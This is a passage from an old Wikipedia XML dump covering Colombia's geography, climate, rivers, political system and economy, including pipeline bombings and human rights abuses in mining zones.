Geographers have devised different ways to divide Colombia into regions. It is most appropriate to divide the country into four geographic regions: the Andean highlands, consisting of the three Andean ranges and intervening valley lowlands; the Caribbean lowlands coastal region; the Pacific lowlands coastal region, separated from the Caribbean lowlands by swamps at the base of the Isthmus of Panama; and eastern Colombia, the great plain that lies to the east of the Andes Mountains.

===Andean Highlands===
Near the Ecuadorian frontier, the Andes Mountains divide into three distinct, roughly parallel chains, called cordilleras, that extend northeastward almost to the Caribbean Sea. Altitudes reach more than 5,700 meters, and mountain peaks are permanently covered with snow. The elevated basins and plateaus of these ranges have a moderate climate that provides pleasant living conditions and in many places enables farmers to harvest twice a year. Torrential rivers on the slopes of the mountains produce a large hydroelectric power potential and add their volume to the navigable rivers in the valleys. In the late 1980s, approximately 78 % of the country's population lived in the Andean highlands.

The Cordillera Occidental in the west, the Cordillera Central in the center, and the Cordillera Oriental in the east have different characteristics. Geologically, the Cordillera Occidental and the Cordillera Central form the western and eastern sides of a massive crystalline arch that extends from the Caribbean lowlands to the southern border of Ecuador. The Cordillera Oriental, however, is composed of folded stratified rocks overlying a crystalline core.

The Cordillera Occidental is relatively low and is the least populated of the three cordilleras. Summits are only about 3,000 meters above sea level and do not have permanent snows. Few passes exist, although one that is about 1,520 meters above sea level provides the major city of Cali with an outlet to the Pacific Ocean. The relatively low elevation of the cordillera permits dense vegetation, which on the western slopes is truly tropical.

The Cordillera Occidental is separated from the Cordillera Central by the deep rift of the Cauca Valley. The Río Cauca rises within 200 kilometers of the border with Ecuador and flows through some of the best farmland in the country. After the two cordilleras converge, the Cauca Valley becomes a deep gorge all the way to the Caribbean lowlands.

The Cordillera Central is the loftiest of the mountain systems. Its crystalline rocks form an 800-kilometer-long towering wall dotted with snow-covered volcanoes. There are no plateaus in this range and no passes under 3,300 meters. The highest peak in this range, the Nevado del Huila, reaches 5,439 meters above sea level. The second highest peak is a volcano, Nevado del Ruiz, which erupted violently on November 13, 1985. Toward its northern end, this cordillera separates into several branches that descend toward the Caribbean coast.

Between the Cordillera Central and the Cordillera Oriental flows the Río Magdalena. This 1,600-kilometer-long river rises near a point some 180 kilometers north of the border with Ecuador, where the Cordillera Oriental and the Cordillera Central diverge. Its spacious drainage area is fed by numerous mountain torrents originating high in the snowfields. The Río Magdalena is generally navigable from the Caribbean Sea as far as the town of Neiva, deep in the interior, but is interrupted midway by rapids. The valley floor is very deep; nearly 800 kilometers from the river's mouth the elevation is no more than about 300 meters.

In the Cordillera Oriental at elevations between 2,500 and 2,700 meters, three large fertile basins and a number of small ones provide suitable areas for settlement and intensive economic production. In the basin of Cundinamarca, where the Spanish found the Chibcha Indians, the European invaders established the town of Santa Fe de Bogotá (present-day Bogotá) at an elevation of 2,650 meters above sea level.

To the north of Bogotá, in the densely populated basins of Chiquinquira and Boyacá, are fertile fields, rich mines, and large industrial establishments that produce much of the national wealth. Still farther north, where the Cordillera Oriental makes an abrupt turn to the northwest near the border with Venezuela, the highest point of this range, the Sierra Nevada de Cocuy, rises to 5,493 meters above sea level. In the department of Santander, the valleys on the western slopes are more spacious, and agriculture is intensive in the area around Bucaramanga. The northernmost region of the range around Cúcuta is so rugged that historically it has been easier to maintain communications and transportation with Venezuela than with the adjacent parts of Colombia. 

===Caribbean Lowlands===

The Caribbean lowlands consist of all of Colombia north of an imaginary line extending northeastward from the Golfo de Urabá to the Venezuelan frontier at the northern extremity of the Cordillera Oriental. The semiarid Guajira Peninsula, in the extreme north, bears little resemblance to the rest of the region. In the southern part rises the Sierra Nevada de Santa Marta, an isolated mountain system with peaks reaching heights over 5,700 meters and slopes generally too steep for cultivation.

The Caribbean lowlands region is in roughly the shape of a triangle, the longest side of which is the coastline. Most of the country's commerce moves through Cartagena, Barranquilla, Santa Marta, and the other ports located along this important coast. Inland from these cities are swamps, hidden streams, and shallow lakes that support banana and cotton plantations, countless small farms, and, in higher places, cattle ranches.

The Caribbean region merges into and is connected with the Andean highlands through the two great river valleys. After the Andean highlands, it is the second most important region in economic activity. Approximately 17 % of the country's population lived in this region in the late 1980s. 

===Pacific Lowlands===

In the 1980s, only 3 % of all Colombians resided in the Pacific lowlands, a region of jungle and swamp with considerable but little-exploited potential in minerals and other resources. Buenaventura is the only port of any size on the coast. On the east, the Pacific lowlands are bounded by the Cordillera Occidental, from which numerous streams run. Most of the streams flow westward to the Pacific, but the largest, the navigable Río Atrato, flows northward to the Golfo de Urabá, making the river settlements accessible to the major Atlantic ports and commercially related primarily to the Caribbean lowlands hinterland. To the west of the Río Atrato rises the Serranía de Baudo, an isolated chain of low mountains that occupies a large part of the region. Its highest elevation is less than 1,800 meters, and its vegetation resembles that of the surrounding tropical forest.

The Atrato Swamp--in Chocó Department adjoining the border with Panama--is a deep muck sixty-five kilometers in width that for years has challenged engineers seeking to complete the Pan American Highway. This stretch, near Turbo, where the highway is interrupted is known as the Tapón del Chocó (Chocon Plug). A second major transportation project involving Chocó Department has been proposed. A second interoceanic canal would be constructed by dredging the Río Atrato and other streams and digging short access canals. Completion of either of these projects would do much to transform this somnolent region.

===Eastern Colombia===

The area east of the Andes includes about 699,300 square kilometers, or three-fifths of the country's total area, but Colombians view it almost as an alien land. The entire area, known as the eastern plains, was home to only 2 % of the country's population in the late 1980s. The Spanish term for plains (llanos) can be applied only to the open plains in the northern part, particularly the piedmont areas near the Cordillera Oriental, where cattle raising is practiced.

The region is unbroken by highlands except in Meta Department, where the Macarena Sierra, an outlier of the Andes, is of interest to scientists because its vegetation and wildlife are believed to be reminiscent of those that once existed throughout the Andes. Many of the numerous large rivers of eastern Colombia are navigable. The Río Guaviare and the streams to its north flow eastward and drain into the basin of the Río Orinoco, the largest river in Venezuela. Those south of the Río Guaviare flow into the basin of the Amazon. The Río Guaviare divides eastern Colombia into the llanos subregion in the north and the tropical rainforest, or selva, subregion in the south. 

==Climate==
Climate

The striking variety in temperature and precipitation results principally from differences in elevation. Temperatures range from very hot at sea level to relatively cold at higher elevations but vary little with the season. At Bogotá, for example, the average annual temperature is 15°C, and the difference between the average of the coldest and the warmest months is less than 1°C. More significant, however, is the daily variation in temperature, from 5°C at night to 17°C during the day.

Colombians customarily describe their country in terms of the climatic zones: the area under 900 meters in elevation is called the hot zone (tierra caliente), elevations between 900 and 1,980 meters are the temperate zone (tierra templada), and elevations from 1,980 meters to about 3,500 meters constitute the cold zone (tierra fría). The upper limit of the cold zone marks the tree line and the approximate limit of human habitation. The treeless regions adjacent to the cold zone and extending to approximately 4,500 meters are high, bleak areas (usually referred to as the páramos), above which begins the area of permanent snow (nevado).

About 86 % of the country's total area lies in the hot zone. Included in the hot zone and interrupting the temperate area of the Andean highlands are the long and narrow extension of the Magdalena Valley and a small extension in the Cauca Valley. Temperatures, depending on elevation, vary between 24°C and 38°C, and there are alternating dry and wet seasons corresponding to summer and winter, respectively. Breezes on the Caribbean coast, however, reduce both heat and precipitation.

Rainfall in the hot zone is heaviest in the Pacific lowlands and in parts of eastern Colombia, where rain is almost a daily occurrence and rain forests predominate. Precipitation exceeds 760 centimeters annually in most of the Pacific lowlands, making this one of the wettest regions in the world; in eastern Colombia, it decreases from 635 centimeters in portions of the Andean piedmont to 254 centimeters eastward. Extensive areas of the Caribbean interior are permanently flooded, more because of poor drainage than because of the moderately heavy precipitation during the rainy season from May through October.

The temperate zone covers about 8 % of the country. This zone includes the lower slopes of the Cordillera Oriental and the Cordillera Central and most of the intermontane valleys. The important cities of Medellín (1,487 meters) and Cali (1,030 meters) are located in this zone, where rainfall is moderate and the mean annual temperature varies between 19°C and 24°C, depending on the elevation. In the higher elevations of this zone, farmers benefit from two wet and two dry seasons each year; January through March and July through September are the dry seasons.

The cold or cool zone constitutes about 6 % of the total area, including some of the most densely populated plateaus and terraces of the Colombian Andes; this zone supports about onefourth of the country's total population. The mean temperature ranges between 10°C and 19°C, and the wet seasons occur in April and May and from September to December, as in the high elevations of the temperate zone.

Precipitation is moderate to heavy in most parts of the country; the heavier rainfall occurs in the low-lying hot zone. Considerable variations occur because of local conditions that affect wind currents, however, and areas on the leeward side of the Guajira Peninsula receive generally light rainfall; the annual rainfall of thirty-five centimeters recorded at the Uribia station there is the lowest in Colombia. Considerable year-to-year variations have been recorded, and Colombia sometimes experiences droughts.

Colombia's geographic and climatic variations have combined to produce relatively well-defined &quot;ethnocultural&quot; groups among different regions of the country: the Costeño from the Caribbean coast; the Caucano in the Cauca region and the Pacific coast; the Antioqueño in Antioquia, Caldas, Risaralda, and Valle del Cauca departments; the Tolimense in Tolima and Huila departments; the Cundiboyacense in the interior departments of Cundinamarca and Boyacá in the Cordillera Oriental; the Santandereano in Norte de Santander and Santander departments; and the Llanero in the eastern plains. Each group had distinctive characteristics, accents, customs, social patterns, and forms of cultural adaptation to climate and topography that differentiates it from other groups. Even with rapid urbanization and modernization, regionalism and regional identification continued to be important reference points, although they were somewhat less prominent in the 1980s than in the nineteenth and early twentieth centuries.

==Relief==
The Andes range is located in Colombia from Southwest (Ecuador boarder) toward Northeast (Venezuela boarder) and is divided in the [[Colombian Massif]] (Macizo Colombiano) in three ranges (East Range, Centre Range and West Range) that form two long valleys, [[Magdalena]] and [[Cauca]] follow by the rivers of the same name.

The eastern half of Colombia, comprising more than half its territory, is plain and composed by [[savanna]] and [[rainforest]], crossed by rivers belonging to the [[Amazon River|Amazon]] and [[Orinoco]] basins.  The northern part, called &quot;Los [[Llanos]]&quot; is a savanna region, mostly in the Orinoco basin (therefor called also Orinoquía).  The southern part is covered by the Amazon rain forest and belongs mostly to the Amazon basin.  It is usually called Amazonía.

At the north and west of the Andes range there are some coastal plains.  The Caribbean plains at the north and the Pacific plains at the west.

Colombian Pacific Plains are among the most rainy parts in the world, chieftly at the north ([[Chocó]]).

The highest mountain in Colombia is not in the Andes but in the Caribbean plain: [[Sierra Nevada de Santa Marta]] with its highest points named Pico Cristobal Colon (5,5775 m) and Pico Simon Bolivar (same elevation).  Other mountains in the Caribbean plain include the María Mountains and the San Lucas Range.

In the Pacific Plains there are other mountain formations, chieftly the [[Darién]] and the Baudó Ranges.

In the eastern Region, there is the Macarena Range and there are forations belongin the Guyanas Shield.



==Facts==

Location:   
Northern South America, bordering the Caribbean Sea, between Panama and Venezuela, and bordering the North Pacific Ocean, between Ecuador and Panama  

Geographic coordinates:   
4 00 N, 72 00 W  

Map references:   
South America  

Area:    
total: 1,138,910 sq km 
land: 1,038,700 sq km 
water: 100,210 sq km 
note: includes Isla de Malpelo, Roncador Cay, Serrana Bank, and Serranilla Bank  

Area - comparative:   
slightly less than three times the size of Montana  

Land boundaries:   
total: 6,004 km 

border countries: Brazil 1,643 km, Ecuador 590 km, Panama 225 km, Peru 1,496 km (est.), Venezuela 2,050 km  

Coastline:   
3,208 km (Caribbean Sea 1,760 km, North Pacific Ocean 1,448 km)  

Maritime claims:   
territorial sea: 12 nm 
exclusive economic zone: 200 nm 
continental shelf: 200-m depth or to the depth of exploitation  

Climate:   
tropical along coast and eastern plains; cooler in highlands  

Terrain:   
flat coastal lowlands, central highlands, high Andes Mountains, eastern lowland plains  

Elevation extremes:   
lowest point: Pacific Ocean 0 m 
highest point: Pico Cristobal Colon 5,775 m 
note: nearby Pico Simon Bolivar also has the same elevation  

Natural resources:   
petroleum, natural gas, coal, iron ore, nickel, gold, copper, emeralds, hydropower  

Land use:   
arable land: 2.42% 
permanent crops: 1.67% 
other: 95.91% (2001)  

Irrigated land:   
8,500 sq km (1998 est.)  

Natural hazards:   
highlands subject to volcanic eruptions; occasional earthquakes; periodic droughts  

Environment - current issues:   
deforestation; soil and water quality damage from overuse of pesticides; air pollution, especially in Bogota, from vehicle emissions  

Environment - international agreements:   
party to: Antarctic Treaty, Biodiversity, Climate Change, Climate Change-Kyoto Protocol, Desertification, Endangered Species, Hazardous Wastes, Marine Life Conservation, Ozone Layer Protection, Ship Pollution, Tropical Timber 83, Tropical Timber 94, Wetlands 
signed, but not ratified: Law of the Sea  

Geography - note:   
only South American country with coastlines on both the North Pacific Ocean and Caribbean Sea

==Rivers and Lakes==
Colombia have four main drainage systems: the Pacific drain, the Caribbean drain, the Orinoco Basin and the Amazon Basin.

The [[Orinoco]] and [[Amazon River|Amazon]] Rivers mark limits with Colombia to [[Venezuela]] and [[Peru]] respectively.

{|
|- bgcolor=&quot;cccccc&quot;
!width=&quot;25%&quot;|Caribbean Drain
!width=&quot;25%&quot;|Pacifice Drain
!width=&quot;25%&quot;|Orinoco Basin
!width=&quot;25%&quot;|Amazon Basin
|-
!colspan=&quot;4&quot; align=&quot;left&quot;|
===Rivers confined to Colombia===
|-
|valign=&quot;top&quot;|&lt;!--Caribe--&gt;
*[[Atrato River|Atrato]]
*[[Cauca River|Cauca]]
*[[Magdalena River|Magdalena]]
*[[Nechí River|Nechí]]
*[[Sinú]]
|valign=&quot;top&quot;|&lt;!--Pacífico--&gt;
*[[Baudó]]
*[[Patía]]
*[[San Juan River (Colombia)|San Juan]]
|valign=&quot;top&quot;|&lt;!--Orinoco--&gt;
*[[Río Guaviare River|Guaviare]]
*[[Inírida]]
*[[Meta River|Meta]]
*[[Vichada River|Vichada]]
|valign=&quot;top&quot;|&lt;!--Amazonas--&gt;
*[[Apaporis]]
*[[Caguán River|Caguán]]
|-
!colspan=&quot;4&quot; align=&quot;left&quot;|

===Rivers originated in Colombia===
|-
|valign=&quot;top&quot;|&lt;!--Caribe--&gt;
*[[Catatumbo]]
|valign=&quot;top&quot;|&lt;!--Pacífico--&gt;
|valign=&quot;top&quot;|&lt;!--Orinoco--&gt;
*[[Arauca River|Arauca]]
|valign=&quot;top&quot;|&lt;!--Amazonas--&gt;
*[[Caquetá River|Caquetá]]
*[[Guainía River|Guainía]]
*[[Içá River|Putumayo]]
*[[Vaupés River|Vaupés]]
|}

===Lakes===
*[[Ciénaga Grande de Santa Marta]]
*[[La Cocha Lagoon]]
*[[Lake Tota]]

==See also==
* [[Colombia]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

{{South America in topic|Geography of}}
[[Category:Geography by country|Colombia]]
[[Category:Geography of Colombia| ]]

[[es:Geografía de Colombia]]
[[fr:Géographie de la Colombie]]
[[pt:Geografia da Colômbia]]</text>
    </revision>
  </page>
  <page>
    <title>Demographic of Colombia</title>
    <id>5837</id>
    <revision>
      <id>15904028</id>
      <timestamp>2002-08-20T11:20:23Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <comment>huh? (again)</comment>
      <text xml:space="preserve">#REDIRECT [[Demographics of Colombia]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Colombia</title>
    <id>5838</id>
    <revision>
      <id>41266228</id>
      <timestamp>2006-02-26T04:18:31Z</timestamp>
      <contributor>
        <ip>68.39.174.238</ip>
      </contributor>
      <comment>House and SenAAte</comment>
      <text xml:space="preserve">{{election colombia}}
==Constitutional Reforms==

[[Colombia]]'s present [[constitution]], enacted on [[July 4]], [[1991]], strengthened the administration of justice with the provision for introduction of an [[adversarial system]] which ultimately is to entirely replace the existing [[Napoleonic Code]]. Other significant reforms under the new constitution provide for civil divorce, dual nationality, the election of a vice president, and the election of departmental governors. The constitution expanded citizens' basic rights, including that of &quot;tutela,&quot; under which an immediate court action can be requested by an individual if he or she feels that their constitutional rights are being violated and if there is no other legal recourse.

The national government has separate executive, legislative, and judicial branches. The president is elected for a 4-year term and, since 2005, can be re-elected for one consecutive term. The [[1991]] constitution reestablished the position of vice president, who is elected on the same ticket as the president. By law, the vice president will succeed in the event of the president's resignation, illness, or death.

Colombia's bicameral Congress consists of a 102-member [[Senate of Colombia]] and a 161-member [[House of Representatives of Colombia]]. Senators are elected on the basis of a nationwide ballot, while representatives are elected in multimember districts co-located within the 32 national departments. The country's capital is a separate capital district and elects its own representatives. Members may be re-elected indefinitely, and, in contrast to the previous system, there are no alternate congressmen. Congress meets twice a year, and the president has the power to call it into special session when needed.

The civilian judiciary is a separate and independent branch of government. Guidelines and the general structure for Colombia's administration of justice are set out in Law 270 of [[March 7]] [[1996]]. Colombia's legal system has recently begun to incorporate some elements of an oral, accusatorial system. The judicial branch's general structure is composed of four distinct jurisdictions (civilian, administrative, constitutional, and special). Colombia's highest judicial organs include the Supreme Court, the Council of State, the Constitutional Court, and the Superior Judicial Council. This sometimes leads to conflicting opinions since there is no one court which clearly has authority over the decisions of the other three.

{{CIA}}

==Principal Government Official==

Country name:   
conventional long form: Republic of Colombia 
conventional short form: Colombia 
local long form: Republica de Colombia 
local short form: Colombia  

Government type:   
republic; executive branch dominates government structure  

Capital:   
Bogota  

Administrative divisions:   
32 departments (departamentos, singular - departamento) and 1 capital district* (distrito capital); Amazonas, Antioquia, Arauca, Atlantico, Distrito Capital de Bogota*, Bolivar, Boyaca, Caldas, Caqueta, Casanare, Cauca, Cesar, Choco, Cordoba, Cundinamarca, Guainia, Guaviare, Huila, La Guajira, Magdalena, Meta, Narino, Norte de Santander, Putumayo, Quindio, Risaralda, San Andres y Providencia, Santander, Sucre, Tolima, Valle del Cauca, Vaupes, Vichada  

Independence:   
[[20 July]] [[1810]] (from Spain)  

National holiday:   
Independence Day, [[20 July]] (1810)  

Constitution:   
[[5 July]] [[1991]]  

Legal system:   
based on Spanish law; a new criminal code modeled after US procedures was enacted into law in 2004; judicial review of executive and legislative acts; accepts compulsory ICJ jurisdiction, with reservations  

Suffrage:   
18 years of age; universal  

Executive branch:   
chief of state: President Alvaro URIBE Velez (since [[7 August]] [[2002]]); Vice President Francisco SANTOS (since [[7 August]] [[2002]]); note - the president is both the chief of state and head of government 
head of government: President Alvaro URIBE Velez (since [[7 August]] [[2002]]); Vice President Francisco SANTOS (since [[7 August]] [[2002]]); note - the president is both the chief of state and head of government 

cabinet: Cabinet consists of a coalition of the two dominant parties - the PL and PSC - and independents 

elections: president and vice president elected by popular vote for a four-year term; election last held [[26 May]] [[2002]] (next to be held May 2006) 

election results: President Alvaro URIBE Velez received 53% of the vote; Vice President Francisco SANTOS was elected on the same ticket  

Legislative branch:   
bicameral Congress or Congreso consists of the Senate or Senado (102 seats; members are elected by popular vote to serve four-year terms) and the House of Representatives or Camara de Representantes (166 seats; members are elected by popular vote to serve four-year terms) 

elections: Senate - last held [[10 March]] [[2002]] (next to be held March 2006); House of Representatives - last held [[10 March]] [[2002]] (next to be held March 2006) 

election results: Senate - percent of vote by party - NA%; seats by party - PL 28, PSC 13, independents and smaller parties (many aligned with conservatives) 61; House of Representatives - percent of vote by party - NA%; seats by party - PL 54, PSC 21, independents and other parties 91  

Judicial branch:   
four roughly coequal, supreme judicial organs; Supreme Court of Justice or Corte Suprema de Justicia (highest court of criminal law; judges are selected by their peers from the nominees of the Superior Judicial Council for eight-year terms); Council of State (highest court of administrative law; judges are selected from the nominees of the Superior Judicial Council for eight-year terms); Constitutional Court (guards integrity and supremacy of the constitution; rules on constitutionality of laws, amendments to the constitution, and international treaties); Superior Judicial Council (administers and disciplines the civilian judiciary; resolves jurisdictional conflicts arising between other courts; members are elected by three sister courts and Congress for eight-year terms)  

Political parties and leaders:   
Colombian Communist Party or PCC [Jaime CAICEDO]; Conservative Party or PSC [Carlos HOLGUIN Sardi]; Democratic Pole or PDI [Samuel MORENO Rojas]; Liberal Party or PL [Juan Fernando CRISTO] 
note: Colombia has about 60 formally recognized political parties, most of which do not have a presence in either house of Congress  

Political pressure groups and leaders:   
two largest insurgent groups active in Colombia - Revolutionary Armed Forces of Colombia or FARC and National Liberation Army or ELN; largest anti-insurgent paramilitary group is United Self-Defense Groups of Colombia or AUC  

Diplomatic representation in the US:   
chief of mission: Ambassador Luis Alberto MORENO Mejia 
chancery: 2118 Leroy Place NW, Washington, DC 20008 
telephone: [1] (202) 387-8338 
FAX: [1] (202) 232-8643 
consulate(s) general: Atlanta, Beverly Hills, Boston, Chicago, Houston, Miami, New Orleans, New York, San Francisco, San Juan (Puerto Rico), and Washington, DC  

Diplomatic representation from the US:   
chief of mission: Ambassador William B. WOOD 
embassy: Calle 22D-BIS, numbers 47-51, Apartado Aereo 3831 
mailing address: Carrera 45 #22D-45, Bogota, D.C., APO AA 34038 
telephone: [57] (1) 315-0811 
FAX: [57] (1) 315-2197  

==International organization participation:==
[[BCIE]], [[CAN]], [[CDB]], [[CSN]], [[Food and Agriculture Organization|FAO]], [[G-3]], [[G-24]], [[G-77]], [[IADB]], [[IAEA]], [[IBRD]], [[ICAO]], [[ICC]], [[ICCt]], [[ICFTU]], [[ICRM]], [[IDA]], [[IFAD]], [[IFC]], [[IFRCS]], [[IHO]], [[International Labour Organization|ILO]], [[IMF]], [[IMO]], [[Interpol]], [[IOC]], [[IOM]], [[ISO]], [[ITU]], [[LAES]], [[LAIA]], [[Mercosur]] (associate), [[MIGA]], [[NAM]], [[OAS]], [[OPANAL]], [[OPCW]], [[PCA]], [[RG]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNHCR]], [[UNIDO]], [[UPU]], [[WCL]], [[WCO]], [[WFTU]], [[WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTO]]


{{South America in topic|Politics of}}

[[Category:Politics of Colombia| ]]

[[no:Colombias politikk]]
[[pt:Política da Colômbia]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Colombia</title>
    <id>5839</id>
    <revision>
      <id>40673023</id>
      <timestamp>2006-02-22T05:09:30Z</timestamp>
      <contributor>
        <ip>69.79.145.49</ip>
      </contributor>
      <comment>/* Foreign Investment */</comment>
      <text xml:space="preserve">[[Colombia]] is a free market [[economics|economy]] with major commercial and investment ties to the [[Economy of the United States|United States]]. Transition from a highly regulated economy has been underway for more than a decade.

==History==

In 1990, the administration of President [[César Gaviria Trujillo]] (1990-94) initiated economic liberalization or &quot;apertura,&quot; and this has continued since then, with tariff reductions, financial deregulation, privatization of state-owned enterprises, and adoption of a more liberal foreign exchange rate. Almost all sectors became open to foreign investment although agricultural products remained protected.

The original idea of his [[Minister of Finance]], [[Rudolf Hommes]], was that the country should import agricultural products in which it was not competitive, like [[maize]], [[wheat]], [[cotton]] and [[soybeans]] and export the ones in which it had an advantage, like [[fruits]] and [[flowers]]. In ten years, the sector lost 7,000&amp;nbsp;km&amp;sup2; to imports, represented mostly in heavily [[agricultural subsidies|subsidized agricultural products]] from the [[United States]], as a result of this [[policy]], with a critical impact on employment in rural areas. [http://www.usip.org/library/pa/colombia/adddoc/plan_colombia_101999.html#approach]

Until 1997, Colombia had enjoyed a fairly stable economy. The first 5 years of liberalization were characterized by high economic growth rates of between 4% and 5%. The [[Ernesto Samper|Samper]] administration (1994-98) emphasized social welfare policies which targeted Colombia's lower income population. However, these reforms led to higher government spending which increased the fiscal deficit and public sector debt, the financing of which required higher interest rates. An over-valued peso inherited from the previous administration was maintained.

The economy slowed, and by 1998 GDP growth was only 0.6%. In 1999, the country fell into its first recession since the [[Great Depression]]. The economy shrank by 4.5% with unemployment at over 20%. While unemployment remained at 20% in 2000, GDP growth recovered to 3.1%.

The administration of President [[Andrés Pastrana Arango]], when it took office on [[August 7]], [[1998]], faced an economy in crisis, with the difficult internal security situation and global economic turbulence additionally inhibiting confidence. As evidence of a serious recession became clear in 1999, the government took a number of steps. It engaged in a series of controlled devaluations of the peso, followed by a decision to let it float. Colombia also entered into an agreement with the [[International Monetary Fund]] which provided a $2.7 billion guarantee (extended funds facility), while committing the government to budget discipline and structural reforms.

By early 2000 there had been the beginning of an economic recovery, with the export sector leading the way, as it enjoyed the benefit of the more competitive exchange rate, as well as strong prices for [[petroleum]], Colombia's leading export product. Prices of [[coffee]], the other principal export product, have been more variable.

Economic growth reached 3.1 % during 2000 and inflation was 9.0% although unemployment has yet to significantly improve. Colombia's international reserves have remained stable at around $8.35 billion, and Colombia has successfully remained in international capital markets. Colombia's total foreign debt at the end of 1999 was $34.5 billion with $14.7 billion in private sector and $19.8 billion in public sector debt. Major international credit rating organizations have dropped Colombian sovereign debt below investment grade, primarily as a result of large fiscal deficits, which current policies are seeking to close.

Several international financial institutions have praised the economic reforms introduced by current president [[Alvaro Uribe]] (elected [[August 7]], [[2002]]), which include measures designed to reduce the public-sector deficit below 2.5% of GDP in 2004. The government's economic policy and [[democratic security]] strategy have engendered a growing sense of confidence in the economy, particularly within the business sector, and GDP growth in 2003 was among the highest in [[Latin America]], at over 4%.

==Mining and Energy==
Colombia is well-endowed with [[mineral]]s and energy resources. It has the largest [[coal]] reserves in Latin America and is second to [[Brazil]] in [[hydroelectric]] potential. Estimates of [[petroleum]] reserves in 1995 were 3.1 billion barrels (493,000 m&amp;sup3;). It also possesses significant amounts of [[nickel]], [[gold]], [[silver]], [[platinum]], and [[emeralds]].

The discovery of two billion barrels (0.3 km&amp;sup3;) of high-quality oil at the Cusiana and Cupiagua fields, about 200 km (125 miles) east of [[Bogotá]], has enabled Colombia to become a net oil exporter since 1986. Total crude oil production averages 620,000 barrel/day (99,000 m&amp;sup3;/day); about 184,000 barrel/day (29,000 m&amp;sup3;/day) is exported. The [[Andrés Pastrana|Pastrana]] government has significantly liberalized its petroleum investment policies, leading to an increase in exploration activity. Refining capacity cannot satisfy domestic demand, so some refined products, especially [[gasoline]], must be imported. Plans for the construction of a new refinery are under development.

'''Human Rights Abuse in Mining Zones'''

The oil pipelines are a frequent target of extortion and bombing campaigns by the [[National Liberation Army (Colombia)|ELN]] and, more recently, the [[Revolutionary Armed Forces of Colombia|FARC]]. The bombings, which have occured on average once every 5 days, have caused substantial environmental damage, often in fragile [[rainforests]] and jungles, as well as causing significant loss of life. In April 1999 in Cartagena de Indias, Clinton's Secretary of Energy BillRichardson spoke before investors from the United States, Canada and other countries. He expressed his government's willingness to use military aid to support the investment that they and their allies were going to make in Colombia, especially in strategically important sectors like mining and energy.

In 2002 there were 170 attacks on the 2nd largest pipeline, which travels 780 km from the [[Caño Limón]] to the Atlantic port of Coveñas. The pipeline was out of operation for 266 days of that year. The government estimates that these bombings reduced the [[Gross domestic product|GDP]] of Colombia by 0.5%. The government of the [[United States]] increased military aid, in 2003, to Colombia to assist in the effort to defend the pipeline. [[Occidental Petroleum]] privately contracted mercenaries who flew [[Skymaster]] planes, from [[AirScan]] International Inc., to patrol the Cano Limon-Covenas pipeline. Many of these operations used helicopters, equipment and weapons provided by the U.S. military and antinarcotics aid programs. 

On the morning of [[December 13]] [[1998]], after two days of fierce combat between the army protecting [[Occidental Petroleum]] and the FARC in the region, a Colombian Air Force helicopter carried out an air attack against guerrillas, near the village of Santo Domingo, including the use of cluster-bombs. After the bombing was over, the bodies of seventeen civilians were found in Santo Domingo, including seven children. 

When questioned about the matter by civilian prosecutors in Colombia, the helicopter crew argued that an AirScan [[Skymaster]] surveillance plane had provided them with incorrect coordinates for a planned bombing attack on guerrilla positions. The case was subsequently handed over to a Colombian military court, as the crime occured during official military duty.

In September 2000, a non-binding informal tribunal was organized at Northwestern University in Chicago regarding this case. In December of the same year, the tribunal concluded that [[Occidental Petroleum]], AirScan, the Colombian State, and Generals Fabio Velasco of the Air Force and Hernando Barbosa of the Army were mutually responsible for the attacks. 

The decision also called for the case to be judged in civil court, for comprehensive reparations to the victims, special aid for the children and the suspension of U.S. military support for the military unit involved, in accordance with U.S. law, and a suspension of the [[human rights certification]] required for the approval of U.S. aid through [[Plan Colombia]]. The case was later brought before a Federal Court in California in April 2003. 

Recent conflict in areas of wealth, such as Magdalena Medio, have seen the current neo-liberal economic process (supported internationally by the [[World Bank]]) be accompanied with violentence. Many actors are involved in the internal conflict. 68% of forced displacement in the country occurs in mining zones (mostly in mining ''municipios'' of Rio Blanco-Ataco in Tolima, La Gabarra and surrounding areas in Norte de Santander, the ''municipios'' of the South of Bolivar, and Barrancabermeja in Santander). 
In 1996 and 2001, after new mining codes were written, huge increases in human rights violations in the zones affected by the legislation were reported. In Bolivar there was a 1000% increase in homicides, [[forced disappearences]], injuries, [[torture]], and [[arbitrary detentions]]. Between 1997 and 1998, forced displacements in the south of Bolivar grew by 1500%, as the paramilitary operation was implemented. The departements that showed the highest increase in human rights violations were also those that with the greatest concentration of mining operations: Antioquia, Bolivar, Norte de Santander, and Cesar. Others with high levels of oil and gas production, like Arauca and Putumayo, show the same rates. Over the past fifteen years in Colombia, a union leader has been assassinated every other day. During the government of Alvaro Uribe  Velez the number has fallen slightly, to one every five days. The national union of mine workers [[Sintraminercol]] has been facing dissolution. Since Alvaro Uribe Velez's government has come into office, an indigenous person has been assassinated every five days, most of these in areas of natural resource exploitation. 

Mining and Natural Exploitaton has had environmental consequences. The region of Guajira is undergoing an accelerated desertification with the disappearences of forests, land, and water sources, due to the increase in coal production. 

Social Consequences or lack of development in resource rich areas is common. Eleven million Colombians survive on less than one dollar a day. Over 65% of these live in mining zones. There are 3.5 million children out of school, and the most critical situation is in the mining zone of Choco, Bolivar, and Sucre.

Economic consequences of privatization and liberal institutions have meant changes in taxation to attract foreign investment. Colombia will lose another $800 million over the next ninety years that [[Glencore International]] operates in El [[Cerrejon]] Zona Media, if the company continues to produce coal at a rate of 5 million tons/year, because of the reduction of the royalty tax from 10-15% to .04%. If the company, as is plausible, doubles or triples its production, the losses will be proportionally greater. The operational losses from the three large mining projects ([[El Cerrejon]], [[La Loma]], operated by Drummond, and [[Montelibano]], which produces [[ferronickel]]) for Colombia to more than 12 billion. Just $10 billion would be enough to provide employment for Colombia's three million unemployed, to save the lives of the up to 160 children who die daily of [[hunger]], [[malnutrition]] and [[curable diseases]], and to have avoided the closing of over 20 hospitals around the country, which has created a [[humanitarian emergency]] in the poorest sectors of the population.

